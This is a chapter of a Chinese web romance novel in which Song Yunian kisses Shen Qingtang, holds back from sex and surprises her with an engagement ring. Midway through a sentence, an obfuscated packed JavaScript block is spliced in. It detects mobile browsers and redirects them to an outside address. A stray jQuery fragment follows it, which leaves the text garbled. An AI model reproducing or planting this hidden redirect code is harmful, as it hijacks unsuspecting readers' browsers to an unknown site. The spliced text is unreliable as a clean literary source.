望着宋屿年那张平淡得没有任何波澜的脸,沈青棠心里莫名打起了退堂鼓。
她指尖轻轻拽了拽他的衣袖,软声讨好地解释:“好啦好啦,不逗你了。刚才是谢云洲来找我。”
“可我没理他,还把他骂走了,跟他说以后别再来找我。”
话音落下,沈青棠怕他不信,特意举起四根手指,一副认真发誓的模样。
见她这样,宋屿年若有所思地点了点头,可却依旧沉默,目光淡淡落在她身上,分明是在等她把话说完。
沈青棠瞧出他这样,便知道估摸着气已经消了大半,于是就将今天发生的事一五一十全盘托出,甚至谢云洲想要当她男朋友的这件事也没有隐瞒。
果不其然,在听到这句话后,宋屿年方才稍稍缓和的面色骤然一沉。
周遭空气仿佛瞬间凝固,压抑的气息渐渐蔓延,站在他身旁的沈青棠连呼吸都放轻了,一句话也不敢多说,生怕一不小心就殃及自身。
不知道过了多久,宋屿年身上那股迫人的冷意才渐渐消散,重新恢复成平日里冷淡矜贵的模样。
沈青棠这才敢稍稍松气,飞快钻进他怀里,声音带着几分委屈。
“屿年哥,你刚才真的快把我吓死了。不过就是一个谢云洲而已,哪里值得你生这么大的气……”
边说着,沈青棠还特意收紧了环着宋屿年腰的手,脸颊蹭了蹭他的衣襟,舒服地喟叹出声。
她也不知道为什么,宋屿年的体质这么特殊,冬暖夏凉的。
冬天的时候,就像个暖烘烘的大火炉,只要贴着他,身上的寒意都能被驱散。
夏天的时候,他的皮肤细腻微凉,就像是浸过冰水的羊脂玉,指尖轻轻一碰,那股清爽凉意便顺着指尖漫开,舒服得让人上瘾。
这会已到午休时间,女佣们都各自回房休息,整栋别墅瞬间变得安静起来。
偌大的别墅里,只剩下沈青棠和宋屿年两人。
没了旁人的注视,沈青棠彻底放开了手脚,动作愈发大胆。
她的一双手不安分地在宋屿年身上四处游走,起初只是隔着衣料轻轻摩挲,指尖描摹着他的身形的轮廓。
可到后来,这样浅淡的触碰,已经满足不了她。
沈青棠微微俯身,手掌轻轻贴在他腰间衣料之上,即便隔着一层布料,也能清晰触到底下纹理分明、紧实硬挺的线条。
“唔……”她低低喟叹一声,眼底满是惊喜。
越是和宋屿年这般深入接触,沈青棠就愈发觉得,世界意识真的是脑子不清醒。
她怎么可能放着这样好的宋屿年不要,反倒去喜欢那个身无寸肌、瘦弱得像只白斩鸡的谢云洲呢?
可被沈青棠肆意触碰的宋屿年,却半点不知道她心底的吐槽。
他只觉得,沈青棠指尖碰过的每一寸肌肤,都像是被火星点着了一般,灼热滚烫。而这样的热意还顺着肌理蔓延至四肢百骸,烫得他心尖发颤。
此时的宋屿年迫切需要一盆清凉来缓解这份灼意。
沈青棠依旧自顾自地在他身上探索,指尖划过他的腰侧、腹肌,眼底满是惊艳。
宋屿年的身材就像一件精心雕琢的完美艺术品,每一处线条都恰到好处,每一寸肌理都合乎她的心意,仿佛天生就是照着她的喜好临摹而成,根本挑不出半分瑕疵。
就在沈青棠还沉迷在这份触感里,指尖还在轻轻摩挲时,突然一阵天翻地覆,眼前瞬间一黑,整个人被一股有力的手臂紧紧扣住,稳稳按在了柔软的沙发上。
但她来不及发出半点惊呼,下一秒,唇瓣便被一片微凉轻轻覆住。
沈青棠被宋屿年这突如其来的举动震得浑身一僵,刚想开口说些什么,可剩下的话都被他尽数吞入唇间,最后只剩下暧昧的喘息。
……
刚开始,两人还只是在沙发上纠缠,可没过多久,宋屿年便对这狭小的沙发产生了不满。
他俯身将沈青棠稳稳打横抱起,大步朝卧室走去。
沈青棠的房间和她在宋家的格局相差无几,都是她偏爱的粉色装潢,处处透着粉嫩与精致。
而且或许是在此住得久的原因,就连空气里都萦绕着一缕淡淡的甜香,与她身上的味道如出一辙,丝丝缕缕钻进鼻尖,勾得人心头发软。
等被轻轻放在床上时,沈青棠才从沉迷中回过神来。
最初被宋屿年吻住的那一刻,她其实是想拒绝的。
虽说两人关系早已亲近得只差一层名分,可终究还没有真正在一起,她不想让他这么快得手。
可渐渐地,她发现宋屿年的吻与他平日里的模样截然不同,让人心尖一颤。
在外面的他冷淡疏离、矜贵克制,可当吻下来的时候,却带着毫不掩饰的凶猛与激烈,强势得近乎掠夺。
比起平日里那个疏离淡漠的他,沈青棠反倒更心动此时的宋屿年,这样的强势竟让她心底生出一股不舍的念头。
“别,屿年哥……”沈青棠开口,本想象征性地拒绝一下。
可话音一落,她才惊觉自己的声音软得一塌糊涂,这哪里像是拒绝,反倒更像是撒娇,欲拒还迎的。
宋屿年听着这声娇滴滴的轻唤,眼底汹涌的情绪瞬间翻涌得更激烈,唇上与手下的动作,都不由得急促了几分。
见此,沈青棠也不打算说什么了,只是温顺地配合着宋屿年的动作。
可就在氛围渐浓之时,宋屿年却忽然停了下来,周身的急促渐渐褪去,又恢复了几分平日里的克制与清醒。
沈青棠微微睁着湿漉漉的眼睛,脸上还带着未散的红晕,眼底满是疑惑。
她轻轻拉了拉男人的衣袖,声音柔得像一滩春水:“屿年哥,怎么了?”
宋屿年俯身,轻轻揉了揉她的头发,语气郑重:“棠棠,不急。”
沈青棠眨了眨眼,眼底的疑惑更甚,小声追问:“为什么呀?”
他们俩人这些日子距离男女朋友关系只差最后的确认了,除此之外也没有缺什么,
而且她不介意提前发生些什么,毕竟刚才她也觉得很舒服。
宋屿年低头,在沈青棠光洁的额头上印下一个轻柔的吻,声音低沉认真:“现在还不是时候,等我们结婚。”
话音落下,他抬手不知道从哪里取出了一只深蓝色丝绒盒。
盒内静静躺着一枚钻戒,钻面切割完美,钻石在暖光下折射出细碎耀眼的光芒,低调又华贵。
宋屿年握住她纤细的左手,温柔地将钻戒套在她的无名指上,大小刚刚合适。
耀眼的钻石在沈青棠的手上没有半点的失色,反倒将她的手衬得骨节纤细匀净,肌肤细腻得近乎莹润
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482151|201809||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,透着一层淡淡的瓷光。
沈青棠看着宋屿年这样行云流水的动作,嘴巴微微张大,眼底满是不可思议:“你……”
这是不是有点太早了些?
虽然她不反对和宋屿年在一起,但一下从单身少女变成了快要订婚的人,速度是不是太快了些?
宋屿年此刻心情极好。
这枚钻戒他筹备了很久,而且款式更是亲自设计,如今终于套在心爱之人的无名指上,心底有种难以言喻的满足。
“怎么了?”他眼底都染上浅浅的笑意。
沈青棠见他心情不错,于是也没有藏着掖着,直白地说出心底的话。
“我们现在还不是男女朋友呢,你这钻戒……是不是太急了点?”
可她越是说着,宋屿年的脸色就一点点沉了下去,原本温和的气息骤然冷下来。
到最后,沈青棠索性不说了,将后半句话都硬生生地咽了回去。
宋屿年沉沉地望着她,声音低得发哑:“棠棠不想和我在一起?”
听到这话,沈青棠敏锐地发觉了其中的危险,于是便下意识往后缩了缩。
但这点细微的动作很快就被宋屿年捕捉到了。
下一秒,一只强有力的大手猛地揽住她纤细的腰肢,将她牢牢扣回身前,半点退路都不留。
感受到腰间传来清晰的压迫感,沈青棠有些心慌,只能讪讪地解释道:“没有……我没有那个意思。”
“我只是觉得,我们进展太快了,我爸妈、还有宋爸爸宋妈妈还不知道呢……”
本以为这番说辞能缓上一缓,可宋屿年却淡淡开口:“我早就和伯父伯母,还有我父母说过我们的事了,棠棠不必担心这些。”
他神情沉稳笃定,一副胜券在握的从容模样。
可沈青棠却彻底愣住,下一瞬便惊呼出声:“什么?”
怎么所有人都知道了这件事,偏偏只有她这个当事人被瞒在鼓里啊!
要说之前沈青棠还因自己吃干抹净不认账,心底还隐隐有些发虚,可此刻那点心虚瞬间荡然无存,取而代之的是一股浓烈又猝不及防的委屈。
她鼓着好看的小脸,委屈地瞪着身前的男人:“为什么你们都知道,只有我一个人不知道!”
越是这么说着,沈青棠心里的委屈越甚,鼻尖开始微微发酸,一双清澈的眼眸渐渐泛红,水汽在眼底悄悄氤氲开来。
宋屿年看着她泛红的眼眶,瞬间慌了神,向来运筹帷幄的他,此刻竟有些手足无措。
他找出身上随时为沈青棠准备的手绢,轻柔地为她擦着泛红的眼角,声音里带着几分不易察觉的紧张无措:“棠棠,别哭……”
“这件事不是我不想告诉你的,是我……”
说到后半句,宋屿年竟卡了壳。
他的确是没有半点故意隐瞒的心思,但忘了也是真的忘了。
自从沈青棠默许了他的靠近后,他便认定两人心意相通,是名正言顺的男女朋友关系了。
既然如此,订婚这件事自然要早日提上日程,让那些暗中觊觎她的人彻底断了念想。
而之后的日子里,他一门心思扑在订婚的筹备上,忙得晕头转向,竟然忘了和当事人说这件事
沈青棠的睫毛上还沾着几颗晶莹的泪珠,轻轻眨了眨眼:“什么事?”